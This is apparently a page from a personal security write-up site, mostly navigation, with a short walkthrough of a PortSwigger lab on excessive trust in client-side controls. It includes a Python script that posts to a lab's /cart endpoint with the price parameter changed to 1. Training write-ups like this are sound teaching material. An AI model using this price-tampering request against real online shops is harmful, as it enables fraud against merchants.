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Ichyaboy
  • 👋Ichyaboy
  • Hackthebox Related
    • 🎰Machines
      • Linux based Machines
        • Talkative
        • Encoding
      • Windows based machines
        • Silo
    • 🕹ī¸Challenges (coming soon)
  • Portswigger Related
    • 🔧Server-side topics
      • Business logic flaws
        • Excessive trust in client-side controls
        • 2FA Broken Logic
        • High-level logic vulnerability
        • Inconsistent handling of exceptional input
        • Inconsistent security controls
        • Weak isolation on dual-use endpoint
        • Low-level logic flaw
        • Infinite money logic flaw
      • Information Disclosure
        • Information disclosure in error messages
        • Information disclosure on debug page
        • Source code disclosure via backup files
        • Authentication bypass via information disclosure
        • Information disclosure in version control history
      • Access Control
        • Unprotected admin functionality
        • Unprotected admin functionality with unpredictable URL
        • User role controlled by request parameter
        • User role can be modified in user profile
        • User ID controlled by request parameter
        • User ID controlled by request parameter, with unpredictable user IDs
        • User ID controlled by request parameter with data leakage in redirect
        • User ID controlled by request parameter with password disclosure
        • Insecure direct object references
        • URL-based access control can be circumvented
        • Method-based access control can be circumvented
        • Multi-step process with no access control on one step
        • Referer-based access control
      • File Upload
        • Remote code execution via web shell upload
        • Web shell upload via Content-Type restriction bypass
        • Web shell upload via path traversal
        • Web shell upload via extension blacklist bypass
        • Web shell upload via obfuscated file extension
        • Remote code execution via polyglot web shell upload
        • Web shell upload via race condition
      • Race Conditions
        • Limit overrun race conditions
        • Bypassing rate limits via race conditions
        • Multi endpoint race conditions
        • Single endpoint race conditions
        • Time sensitive vulnerabilities
        • Partial construction race conditions
      • SSRF
        • Basic SSRF against the local server
        • Basic SSRF against another back end system
        • Blind SSRF with out of band detection
        • SSRF with blacklist based input filter
        • SSRF with filter bypass via open redirection vulnerability
        • Blind SSRF with Shellshock exploitation
        • SSRF with whitelist based input filter
      • XXE Injection
        • Exploiting XXE using external entities to retrieve files
        • Exploiting XXE to perform SSRF attacks
        • Blind XXE with out of band interaction
        • Blind XXE with out of band interaction via XML parameter entities
        • Exploiting blind XXE to exfiltrate data using a malicious external DTD
        • Exploiting blind XXE to retrieve data via error messages
        • Exploiting XInclude to retrieve files
        • Exploiting XXE via image file upload
        • Exploiting XXE to retrieve data by repurposing a local DTD
      • Nosql Injection
        • Detecting NoSQL injection
        • Exploiting NoSQL operator injection to bypass authentication
        • Exploiting NoSQL injection to extract data
        • Exploiting NoSQL operator injection to extract unknown fields
      • Api Testing
        • Exploiting an API endpoint using documentation
        • Exploiting server side parameter pollution in a query string
        • Finding and exploiting an unused API endpoint
        • Exploiting a mass assignment vulnerability
        • Exploiting server side parameter pollution in a REST URL
    • đŸŽ¯Client-side topics
      • Cross-site scripting (XSS)
        • Stored XSS
          • Stored XSS into HTML context with nothing encoded
          • Stored XSS into anchor href attribute with double quotes HTML encoded
          • Stored XSS into onclick event with angle brackets and double quotes HTML encoded and single quotes and backslash escaped
        • Reflected XSS
          • Reflected XSS into HTML context with nothing encoded
          • Reflected XSS into attribute with angle brackets HTML encoded
          • Reflected XSS into a JavaScript string with angle brackets HTML encoded
          • Reflected XSS into HTML context with most tags and attributes blocked
          • Reflected XSS into HTML context with all tags blocked except custom ones
          • Reflected XSS with some SVG markup allowed
          • Reflected XSS in canonical link tag
          • Reflected XSS into a JavaScript string with single quote and backslash escaped
          • Reflected XSS into a JavaScript string with angle brackets and double quotes HTML encoded and single quotes escaped
          • Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode escaped
          • Reflected XSS with event handlers and href attributes blocked
          • Reflected XSS in a JavaScript URL with some characters blocked
        • DOM-based XSS
          • DOM XSS in document.write sink using source location.search
          • DOM XSS in innerHTML sink using source location.search
          • DOM XSS in jQuery anchor href attribute sink using location.search source
          • DOM XSS in jQuery selector sink using a hashchange event
          • DOM XSS in document.write sink using source location.search inside a select element
          • DOM XSS in AngularJS expression with angle brackets and double quotes HTML encoded
          • Reflected DOM XSS
          • Stored DOM XSS
        • CSP Bypass
          • Reflected XSS protected by CSP, with CSP bypass
          • Reflected XSS protected by very strict CSP, with dangling markup attack
        • Client-side template injection
          • Reflected XSS with AngularJS sandbox escape without strings
          • Reflected XSS with AngularJS sandbox escape and CSP
        • Common XSS Attacks
          • Exploiting cross site scripting to steal cookies
          • Exploiting cross site scripting to capture passwords
          • Exploiting XSS to perform CSRF
      • WebSockets
        • Manipulating WebSocket messages to exploit vulnerabilities
        • Cross site WebSocket hijacking
        • Manipulating the WebSocket handshake to exploit vulnerabilities
      • Cross-site Request forgery (CSRF)
        • CSRF vulnerability with no defenses
        • CSRF where token validation depends on request method
        • CSRF where token validation depends on token being present
        • CSRF where token is not tied to user session
        • CSRF where token is tied to non session cookie
        • CSRF where token is duplicated in cookie
        • SameSite Lax bypass via method override
        • SameSite Strict bypass via client side redirect
        • SameSite Strict bypass via sibling domain
        • SameSite Lax bypass via cookie refresh
        • CSRF where Referer validation depends on header being present
        • CSRF with broken Referer validation
      • Cross-origin resource sharing
        • CORS vulnerability with basic origin reflection
        • CORS vulnerability with trusted null origin
        • CORS vulnerability with trusted insecure protocols
      • Clickjacking
        • Basic clickjacking with CSRF token protection
        • Clickjacking with form input data prefilled from a URL parameter
        • Clickjacking with a frame buster script
        • Exploiting clickjacking vulnerability to trigger DOM based XSS
        • Multistep clickjacking
      • DOM-based vulnerabilities
        • DOM XSS using web messages
        • DOM XSS using web messages and a JavaScript URL
        • DOM XSS using web messages and JSON.parse
        • DOM based open redirection
        • DOM based cookie manipulation
        • Exploiting DOM clobbering to enable XSS
        • Clobbering DOM attributes to bypass HTML filters
  • Resources
    • đŸŗī¸Cheatsheets
      • Basic Tools
      • Footprinting
      • Web Inofrmation Gathering
      • Nmap
      • File Transfer
      • Passwords Attacks
      • USING THE METASPLOIT FRAMEWORK
      • Shells & Payloads
      • Attacking Common Services
      • Pivoting, Tunneling, and Port Forwarding
    • 🏴Useful Scripts
      • NoSQL REGEX Password Length
      • NoSQL REGEX Password
      • Creds BruteForce CSRF Handling
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On this page
  1. Portswigger Related
  2. Server-side topics
  3. Business logic flaws

Excessive trust in client-side controls

This lab doesn't adequately validate user input so all I needed to do is to intercept the request at /cart and change the price parameter to something I can work with.

I wrote this very simple python script to send a POST request to /cart with the custom price value.

import requests

url = "https://0aa400bb04f9fd7a8102f77a000c005e.web-security-academy.net:443/cart"
cookies = {"session": "pE92GOdfUL7wYzxtXM9HOOAsPygiCs0K"}
headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1", "Origin": "https://0aa400bb04f9fd7a8102f77a000c005e.web-security-academy.net", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://0aa400bb04f9fd7a8102f77a000c005e.web-security-academy.net/product?productId=1", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Priority": "u=0, i"}
data = {"productId": "1", "redir": "PRODUCT", "quantity": "1", "price": "1"}

requests.post(url, headers=headers, cookies=cookies, data=data)

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Last updated 1 year ago

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